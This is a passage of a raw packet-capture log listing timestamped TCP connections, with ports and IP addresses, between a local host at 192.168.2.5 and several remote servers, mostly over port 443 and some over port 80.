Oct 29, 2024 20:35:05.880351067 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.880475044 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.880475044 CET	49764	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.880486012 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.880494118 CET	443	49764	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.881089926 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.881089926 CET	49765	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.881119967 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.881135941 CET	443	49765	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.881989002 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.882000923 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.883732080 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.883742094 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.883799076 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.883989096 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.884000063 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.884293079 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.884331942 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.884391069 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.884668112 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.884680033 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.886262894 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.886296988 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:05.886368990 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.886497021 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:05.886512995 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.029285908 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.029750109 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.029769897 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.030164003 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.030225039 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.030926943 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.030992985 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.032217979 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.032283068 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.032457113 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.032469034 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.032480001 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.072335005 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.072345018 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.116298914 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.148874044 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.148943901 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.148964882 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.149004936 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.149053097 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.149174929 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.149174929 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.149174929 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.149175882 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.149252892 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.149313927 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.149316072 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.149343014 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.149383068 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.149410009 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.149425983 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.194459915 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.274348974 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.274405956 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:06.274488926 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:06.281105042 CET	49704	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:06.281425953 CET	49781	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:06.286493063 CET	80	49704	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:06.286940098 CET	80	49781	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:06.287030935 CET	49781	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:06.287290096 CET	49781	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:06.292855978 CET	80	49781	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:06.316765070 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.366302967 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.366322041 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.368711948 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.368880033 CET	443	49768	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:06.368969917 CET	49768	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:06.613502979 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.614026070 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.614034891 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.614557981 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.614562988 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.617515087 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.617902040 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.617923021 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.618321896 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.618326902 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.620275974 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.620553970 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.620570898 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.621046066 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.621052027 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.631697893 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.632025003 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.632057905 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.632658958 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.632667065 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.653911114 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.654280901 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.654304981 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.654719114 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.654725075 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.750299931 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.750740051 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.750813961 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.751158953 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.751229048 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.752161980 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.752924919 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.753209114 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.755551100 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.755912066 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.755934000 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.755945921 CET	49776	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.755954981 CET	443	49776	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.756213903 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.756227016 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.756237030 CET	49775	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.756242990 CET	443	49775	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.756416082 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.756419897 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.756428957 CET	49773	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.756432056 CET	443	49773	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.760457039 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.760485888 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.760725975 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.760773897 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.760795116 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.760843039 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.760937929 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.760946035 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.761095047 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.761106968 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.763336897 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.763559103 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.763808012 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.763931990 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.763952971 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.763968945 CET	49777	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.763976097 CET	443	49777	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.764717102 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.764754057 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.764971018 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.765105963 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.765120029 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.767472982 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.767507076 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.767600060 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.767740965 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.767759085 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.791786909 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.791857004 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.792068958 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.792148113 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.792148113 CET	49774	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.792171001 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.792182922 CET	443	49774	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.794418097 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.794481039 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:06.794631004 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.794756889 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:06.794780970 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.032056093 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:07.032087088 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:07.032111883 CET	49751	443	192.168.2.5	4.175.87.197
Oct 29, 2024 20:35:07.032119036 CET	443	49751	4.175.87.197	192.168.2.5
Oct 29, 2024 20:35:07.509921074 CET	49789	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:07.509955883 CET	443	49789	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:07.510139942 CET	49789	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:07.510323048 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.510570049 CET	49789	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:07.510579109 CET	443	49789	142.250.185.110	192.168.2.5
Oct 29, 2024 20:35:07.511190891 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.511208057 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.512068033 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.512646914 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.512676954 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.513044119 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.513048887 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.513118029 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.513123989 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.515913010 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.516293049 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.516304970 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.516663074 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.516668081 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.518759966 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.519187927 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.519196033 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.519566059 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.519570112 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.529846907 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.530191898 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.530199051 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.530909061 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.530913115 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.641002893 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.641273975 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.641428947 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.641458988 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.641474009 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.641484022 CET	49783	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.641489029 CET	443	49783	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.641781092 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.642115116 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.642163038 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.642266989 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.642282963 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.642294884 CET	49785	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.642301083 CET	443	49785	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.645432949 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.645441055 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.645474911 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.645478010 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.645541906 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.645699024 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.645703077 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.645703077 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.645713091 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.645735979 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.646492004 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.646962881 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.647030115 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.647111893 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.647111893 CET	49782	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.647124052 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.647133112 CET	443	49782	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.647809982 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.647972107 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.648159981 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.648185968 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.648200035 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.648210049 CET	49784	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.648215055 CET	443	49784	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.650098085 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.650115013 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.650310993 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.650326967 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.650347948 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.650382042 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.650468111 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.650477886 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.650578976 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.650593996 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.663929939 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.664052963 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.664196014 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.664550066 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.664556026 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.664567947 CET	49786	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.664572001 CET	443	49786	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.667666912 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.667676926 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.667728901 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.667874098 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:07.667881012 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:07.699999094 CET	80	49781	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:07.700048923 CET	49781	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:07.886003971 CET	49723	443	192.168.2.5	142.250.185.228
Oct 29, 2024 20:35:07.908351898 CET	49781	80	192.168.2.5	185.215.113.206
Oct 29, 2024 20:35:07.909162998 CET	49789	443	192.168.2.5	142.250.185.110
Oct 29, 2024 20:35:07.913641930 CET	80	49781	185.215.113.206	192.168.2.5
Oct 29, 2024 20:35:08.377211094 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.377747059 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.377779007 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.379498959 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.379504919 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.394395113 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.394876003 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.394896984 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.395381927 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.395386934 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.395514965 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.395857096 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.395878077 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.396320105 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.396326065 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.396997929 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.397284031 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.397296906 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.398241043 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.398245096 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.409066916 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.409456968 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.409476995 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.409918070 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.409924030 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.507189035 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.507416964 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.507471085 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.507740974 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.507762909 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.507776022 CET	49790	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.507781029 CET	443	49790	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.512911081 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.512949944 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.513012886 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.513997078 CET	49795	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.514012098 CET	443	49795	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.526637077 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.526711941 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.526758909 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.527359009 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.527374029 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.527384996 CET	49792	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.527390957 CET	443	49792	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.528810024 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.528872013 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.528932095 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.530977964 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.531008005 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.531063080 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.531336069 CET	49794	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.531341076 CET	443	49794	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.531450033 CET	49796	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.531464100 CET	443	49796	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.533761978 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.533787012 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.533839941 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.533967972 CET	49797	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.533981085 CET	443	49797	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.534261942 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.534337044 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.534437895 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.534472942 CET	49791	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.534481049 CET	443	49791	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.536382914 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.536407948 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.536483049 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.536644936 CET	49798	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.536655903 CET	443	49798	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.549165010 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.549230099 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.550147057 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.550190926 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.550204992 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.550220013 CET	49793	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.550225973 CET	443	49793	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.552828074 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.552840948 CET	443	49799	13.107.246.45	192.168.2.5
Oct 29, 2024 20:35:08.553361893 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.553615093 CET	49799	443	192.168.2.5	13.107.246.45
Oct 29, 2024 20:35:08.553626060 CET	443	49799	13.107.246.45	192.168.2.5
